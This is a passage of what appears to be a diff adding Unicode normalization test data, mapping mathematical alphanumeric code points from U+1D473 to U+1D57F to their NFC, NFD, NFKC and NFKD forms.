+{ source: [0x1D473], NFC: [0x1D473], NFD: [0x1D473], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D474], NFC: [0x1D474], NFD: [0x1D474], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D475], NFC: [0x1D475], NFD: [0x1D475], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D476], NFC: [0x1D476], NFD: [0x1D476], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D477], NFC: [0x1D477], NFD: [0x1D477], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D478], NFC: [0x1D478], NFD: [0x1D478], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D479], NFC: [0x1D479], NFD: [0x1D479], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D47A], NFC: [0x1D47A], NFD: [0x1D47A], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D47B], NFC: [0x1D47B], NFD: [0x1D47B], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D47C], NFC: [0x1D47C], NFD: [0x1D47C], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D47D], NFC: [0x1D47D], NFD: [0x1D47D], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D47E], NFC: [0x1D47E], NFD: [0x1D47E], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D47F], NFC: [0x1D47F], NFD: [0x1D47F], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D480], NFC: [0x1D480], NFD: [0x1D480], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D481], NFC: [0x1D481], NFD: [0x1D481], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D482], NFC: [0x1D482], NFD: [0x1D482], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D483], NFC: [0x1D483], NFD: [0x1D483], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D484], NFC: [0x1D484], NFD: [0x1D484], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D485], NFC: [0x1D485], NFD: [0x1D485], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D486], NFC: [0x1D486], NFD: [0x1D486], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D487], NFC: [0x1D487], NFD: [0x1D487], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D488], NFC: [0x1D488], NFD: [0x1D488], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D489], NFC: [0x1D489], NFD: [0x1D489], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D48A], NFC: [0x1D48A], NFD: [0x1D48A], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D48B], NFC: [0x1D48B], NFD: [0x1D48B], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D48C], NFC: [0x1D48C], NFD: [0x1D48C], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D48D], NFC: [0x1D48D], NFD: [0x1D48D], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D48E], NFC: [0x1D48E], NFD: [0x1D48E], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D48F], NFC: [0x1D48F], NFD: [0x1D48F], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D490], NFC: [0x1D490], NFD: [0x1D490], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D491], NFC: [0x1D491], NFD: [0x1D491], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D492], NFC: [0x1D492], NFD: [0x1D492], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D493], NFC: [0x1D493], NFD: [0x1D493], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D494], NFC: [0x1D494], NFD: [0x1D494], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D495], NFC: [0x1D495], NFD: [0x1D495], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D496], NFC: [0x1D496], NFD: [0x1D496], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D497], NFC: [0x1D497], NFD: [0x1D497], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D498], NFC: [0x1D498], NFD: [0x1D498], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D499], NFC: [0x1D499], NFD: [0x1D499], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D49A], NFC: [0x1D49A], NFD: [0x1D49A], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D49B], NFC: [0x1D49B], NFD: [0x1D49B], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D49C], NFC: [0x1D49C], NFD: [0x1D49C], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D49E], NFC: [0x1D49E], NFD: [0x1D49E], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D49F], NFC: [0x1D49F], NFD: [0x1D49F], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D4A2], NFC: [0x1D4A2], NFD: [0x1D4A2], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D4A5], NFC: [0x1D4A5], NFD: [0x1D4A5], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D4A6], NFC: [0x1D4A6], NFD: [0x1D4A6], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D4A9], NFC: [0x1D4A9], NFD: [0x1D4A9], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D4AA], NFC: [0x1D4AA], NFD: [0x1D4AA], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D4AB], NFC: [0x1D4AB], NFD: [0x1D4AB], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D4AC], NFC: [0x1D4AC], NFD: [0x1D4AC], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D4AE], NFC: [0x1D4AE], NFD: [0x1D4AE], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D4AF], NFC: [0x1D4AF], NFD: [0x1D4AF], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D4B0], NFC: [0x1D4B0], NFD: [0x1D4B0], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D4B1], NFC: [0x1D4B1], NFD: [0x1D4B1], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D4B2], NFC: [0x1D4B2], NFD: [0x1D4B2], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D4B3], NFC: [0x1D4B3], NFD: [0x1D4B3], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D4B4], NFC: [0x1D4B4], NFD: [0x1D4B4], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D4B5], NFC: [0x1D4B5], NFD: [0x1D4B5], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D4B6], NFC: [0x1D4B6], NFD: [0x1D4B6], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D4B7], NFC: [0x1D4B7], NFD: [0x1D4B7], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D4B8], NFC: [0x1D4B8], NFD: [0x1D4B8], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D4B9], NFC: [0x1D4B9], NFD: [0x1D4B9], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D4BB], NFC: [0x1D4BB], NFD: [0x1D4BB], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D4BD], NFC: [0x1D4BD], NFD: [0x1D4BD], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D4BE], NFC: [0x1D4BE], NFD: [0x1D4BE], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D4BF], NFC: [0x1D4BF], NFD: [0x1D4BF], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D4C0], NFC: [0x1D4C0], NFD: [0x1D4C0], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D4C1], NFC: [0x1D4C1], NFD: [0x1D4C1], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D4C2], NFC: [0x1D4C2], NFD: [0x1D4C2], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D4C3], NFC: [0x1D4C3], NFD: [0x1D4C3], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D4C5], NFC: [0x1D4C5], NFD: [0x1D4C5], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D4C6], NFC: [0x1D4C6], NFD: [0x1D4C6], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D4C7], NFC: [0x1D4C7], NFD: [0x1D4C7], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D4C8], NFC: [0x1D4C8], NFD: [0x1D4C8], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D4C9], NFC: [0x1D4C9], NFD: [0x1D4C9], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D4CA], NFC: [0x1D4CA], NFD: [0x1D4CA], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D4CB], NFC: [0x1D4CB], NFD: [0x1D4CB], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D4CC], NFC: [0x1D4CC], NFD: [0x1D4CC], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D4CD], NFC: [0x1D4CD], NFD: [0x1D4CD], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D4CE], NFC: [0x1D4CE], NFD: [0x1D4CE], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D4CF], NFC: [0x1D4CF], NFD: [0x1D4CF], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D4D0], NFC: [0x1D4D0], NFD: [0x1D4D0], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D4D1], NFC: [0x1D4D1], NFD: [0x1D4D1], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D4D2], NFC: [0x1D4D2], NFD: [0x1D4D2], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D4D3], NFC: [0x1D4D3], NFD: [0x1D4D3], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D4D4], NFC: [0x1D4D4], NFD: [0x1D4D4], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D4D5], NFC: [0x1D4D5], NFD: [0x1D4D5], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D4D6], NFC: [0x1D4D6], NFD: [0x1D4D6], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D4D7], NFC: [0x1D4D7], NFD: [0x1D4D7], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D4D8], NFC: [0x1D4D8], NFD: [0x1D4D8], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D4D9], NFC: [0x1D4D9], NFD: [0x1D4D9], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D4DA], NFC: [0x1D4DA], NFD: [0x1D4DA], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D4DB], NFC: [0x1D4DB], NFD: [0x1D4DB], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D4DC], NFC: [0x1D4DC], NFD: [0x1D4DC], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D4DD], NFC: [0x1D4DD], NFD: [0x1D4DD], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D4DE], NFC: [0x1D4DE], NFD: [0x1D4DE], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D4DF], NFC: [0x1D4DF], NFD: [0x1D4DF], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D4E0], NFC: [0x1D4E0], NFD: [0x1D4E0], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D4E1], NFC: [0x1D4E1], NFD: [0x1D4E1], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D4E2], NFC: [0x1D4E2], NFD: [0x1D4E2], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D4E3], NFC: [0x1D4E3], NFD: [0x1D4E3], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D4E4], NFC: [0x1D4E4], NFD: [0x1D4E4], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D4E5], NFC: [0x1D4E5], NFD: [0x1D4E5], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D4E6], NFC: [0x1D4E6], NFD: [0x1D4E6], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D4E7], NFC: [0x1D4E7], NFD: [0x1D4E7], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D4E8], NFC: [0x1D4E8], NFD: [0x1D4E8], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D4E9], NFC: [0x1D4E9], NFD: [0x1D4E9], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D4EA], NFC: [0x1D4EA], NFD: [0x1D4EA], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D4EB], NFC: [0x1D4EB], NFD: [0x1D4EB], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D4EC], NFC: [0x1D4EC], NFD: [0x1D4EC], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D4ED], NFC: [0x1D4ED], NFD: [0x1D4ED], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D4EE], NFC: [0x1D4EE], NFD: [0x1D4EE], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D4EF], NFC: [0x1D4EF], NFD: [0x1D4EF], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D4F0], NFC: [0x1D4F0], NFD: [0x1D4F0], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D4F1], NFC: [0x1D4F1], NFD: [0x1D4F1], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D4F2], NFC: [0x1D4F2], NFD: [0x1D4F2], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D4F3], NFC: [0x1D4F3], NFD: [0x1D4F3], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D4F4], NFC: [0x1D4F4], NFD: [0x1D4F4], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D4F5], NFC: [0x1D4F5], NFD: [0x1D4F5], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D4F6], NFC: [0x1D4F6], NFD: [0x1D4F6], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D4F7], NFC: [0x1D4F7], NFD: [0x1D4F7], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D4F8], NFC: [0x1D4F8], NFD: [0x1D4F8], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D4F9], NFC: [0x1D4F9], NFD: [0x1D4F9], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D4FA], NFC: [0x1D4FA], NFD: [0x1D4FA], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D4FB], NFC: [0x1D4FB], NFD: [0x1D4FB], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D4FC], NFC: [0x1D4FC], NFD: [0x1D4FC], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D4FD], NFC: [0x1D4FD], NFD: [0x1D4FD], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D4FE], NFC: [0x1D4FE], NFD: [0x1D4FE], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D4FF], NFC: [0x1D4FF], NFD: [0x1D4FF], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D500], NFC: [0x1D500], NFD: [0x1D500], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D501], NFC: [0x1D501], NFD: [0x1D501], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D502], NFC: [0x1D502], NFD: [0x1D502], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D503], NFC: [0x1D503], NFD: [0x1D503], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D504], NFC: [0x1D504], NFD: [0x1D504], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D505], NFC: [0x1D505], NFD: [0x1D505], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D507], NFC: [0x1D507], NFD: [0x1D507], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D508], NFC: [0x1D508], NFD: [0x1D508], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D509], NFC: [0x1D509], NFD: [0x1D509], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D50A], NFC: [0x1D50A], NFD: [0x1D50A], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D50D], NFC: [0x1D50D], NFD: [0x1D50D], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D50E], NFC: [0x1D50E], NFD: [0x1D50E], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D50F], NFC: [0x1D50F], NFD: [0x1D50F], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D510], NFC: [0x1D510], NFD: [0x1D510], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D511], NFC: [0x1D511], NFD: [0x1D511], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D512], NFC: [0x1D512], NFD: [0x1D512], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D513], NFC: [0x1D513], NFD: [0x1D513], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D514], NFC: [0x1D514], NFD: [0x1D514], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D516], NFC: [0x1D516], NFD: [0x1D516], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D517], NFC: [0x1D517], NFD: [0x1D517], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D518], NFC: [0x1D518], NFD: [0x1D518], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D519], NFC: [0x1D519], NFD: [0x1D519], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D51A], NFC: [0x1D51A], NFD: [0x1D51A], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D51B], NFC: [0x1D51B], NFD: [0x1D51B], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D51C], NFC: [0x1D51C], NFD: [0x1D51C], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D51E], NFC: [0x1D51E], NFD: [0x1D51E], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D51F], NFC: [0x1D51F], NFD: [0x1D51F], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D520], NFC: [0x1D520], NFD: [0x1D520], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D521], NFC: [0x1D521], NFD: [0x1D521], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D522], NFC: [0x1D522], NFD: [0x1D522], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D523], NFC: [0x1D523], NFD: [0x1D523], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D524], NFC: [0x1D524], NFD: [0x1D524], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D525], NFC: [0x1D525], NFD: [0x1D525], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D526], NFC: [0x1D526], NFD: [0x1D526], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D527], NFC: [0x1D527], NFD: [0x1D527], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D528], NFC: [0x1D528], NFD: [0x1D528], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D529], NFC: [0x1D529], NFD: [0x1D529], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D52A], NFC: [0x1D52A], NFD: [0x1D52A], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D52B], NFC: [0x1D52B], NFD: [0x1D52B], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D52C], NFC: [0x1D52C], NFD: [0x1D52C], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D52D], NFC: [0x1D52D], NFD: [0x1D52D], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D52E], NFC: [0x1D52E], NFD: [0x1D52E], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D52F], NFC: [0x1D52F], NFD: [0x1D52F], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D530], NFC: [0x1D530], NFD: [0x1D530], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D531], NFC: [0x1D531], NFD: [0x1D531], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D532], NFC: [0x1D532], NFD: [0x1D532], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D533], NFC: [0x1D533], NFD: [0x1D533], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D534], NFC: [0x1D534], NFD: [0x1D534], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D535], NFC: [0x1D535], NFD: [0x1D535], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D536], NFC: [0x1D536], NFD: [0x1D536], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D537], NFC: [0x1D537], NFD: [0x1D537], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D538], NFC: [0x1D538], NFD: [0x1D538], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D539], NFC: [0x1D539], NFD: [0x1D539], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D53B], NFC: [0x1D53B], NFD: [0x1D53B], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D53C], NFC: [0x1D53C], NFD: [0x1D53C], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D53D], NFC: [0x1D53D], NFD: [0x1D53D], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D53E], NFC: [0x1D53E], NFD: [0x1D53E], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D540], NFC: [0x1D540], NFD: [0x1D540], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D541], NFC: [0x1D541], NFD: [0x1D541], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D542], NFC: [0x1D542], NFD: [0x1D542], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D543], NFC: [0x1D543], NFD: [0x1D543], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D544], NFC: [0x1D544], NFD: [0x1D544], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D546], NFC: [0x1D546], NFD: [0x1D546], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D54A], NFC: [0x1D54A], NFD: [0x1D54A], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D54B], NFC: [0x1D54B], NFD: [0x1D54B], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D54C], NFC: [0x1D54C], NFD: [0x1D54C], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D54D], NFC: [0x1D54D], NFD: [0x1D54D], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D54E], NFC: [0x1D54E], NFD: [0x1D54E], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D54F], NFC: [0x1D54F], NFD: [0x1D54F], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D550], NFC: [0x1D550], NFD: [0x1D550], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D552], NFC: [0x1D552], NFD: [0x1D552], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D553], NFC: [0x1D553], NFD: [0x1D553], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D554], NFC: [0x1D554], NFD: [0x1D554], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D555], NFC: [0x1D555], NFD: [0x1D555], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D556], NFC: [0x1D556], NFD: [0x1D556], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D557], NFC: [0x1D557], NFD: [0x1D557], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D558], NFC: [0x1D558], NFD: [0x1D558], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D559], NFC: [0x1D559], NFD: [0x1D559], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D55A], NFC: [0x1D55A], NFD: [0x1D55A], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D55B], NFC: [0x1D55B], NFD: [0x1D55B], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D55C], NFC: [0x1D55C], NFD: [0x1D55C], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D55D], NFC: [0x1D55D], NFD: [0x1D55D], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D55E], NFC: [0x1D55E], NFD: [0x1D55E], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D55F], NFC: [0x1D55F], NFD: [0x1D55F], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D560], NFC: [0x1D560], NFD: [0x1D560], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D561], NFC: [0x1D561], NFD: [0x1D561], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D562], NFC: [0x1D562], NFD: [0x1D562], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D563], NFC: [0x1D563], NFD: [0x1D563], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D564], NFC: [0x1D564], NFD: [0x1D564], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D565], NFC: [0x1D565], NFD: [0x1D565], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D566], NFC: [0x1D566], NFD: [0x1D566], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D567], NFC: [0x1D567], NFD: [0x1D567], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D568], NFC: [0x1D568], NFD: [0x1D568], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D569], NFC: [0x1D569], NFD: [0x1D569], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D56A], NFC: [0x1D56A], NFD: [0x1D56A], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D56B], NFC: [0x1D56B], NFD: [0x1D56B], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D56C], NFC: [0x1D56C], NFD: [0x1D56C], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D56D], NFC: [0x1D56D], NFD: [0x1D56D], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D56E], NFC: [0x1D56E], NFD: [0x1D56E], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D56F], NFC: [0x1D56F], NFD: [0x1D56F], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D570], NFC: [0x1D570], NFD: [0x1D570], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D571], NFC: [0x1D571], NFD: [0x1D571], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D572], NFC: [0x1D572], NFD: [0x1D572], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D573], NFC: [0x1D573], NFD: [0x1D573], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D574], NFC: [0x1D574], NFD: [0x1D574], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D575], NFC: [0x1D575], NFD: [0x1D575], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D576], NFC: [0x1D576], NFD: [0x1D576], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D577], NFC: [0x1D577], NFD: [0x1D577], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D578], NFC: [0x1D578], NFD: [0x1D578], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D579], NFC: [0x1D579], NFD: [0x1D579], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D57A], NFC: [0x1D57A], NFD: [0x1D57A], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D57B], NFC: [0x1D57B], NFD: [0x1D57B], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D57C], NFC: [0x1D57C], NFD: [0x1D57C], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D57D], NFC: [0x1D57D], NFD: [0x1D57D], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D57E], NFC: [0x1D57E], NFD: [0x1D57E], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D57F], NFC: [0x1D57F], NFD: [0x1D57F], NFKC: [0x0054], NFKD: [0x0054] },
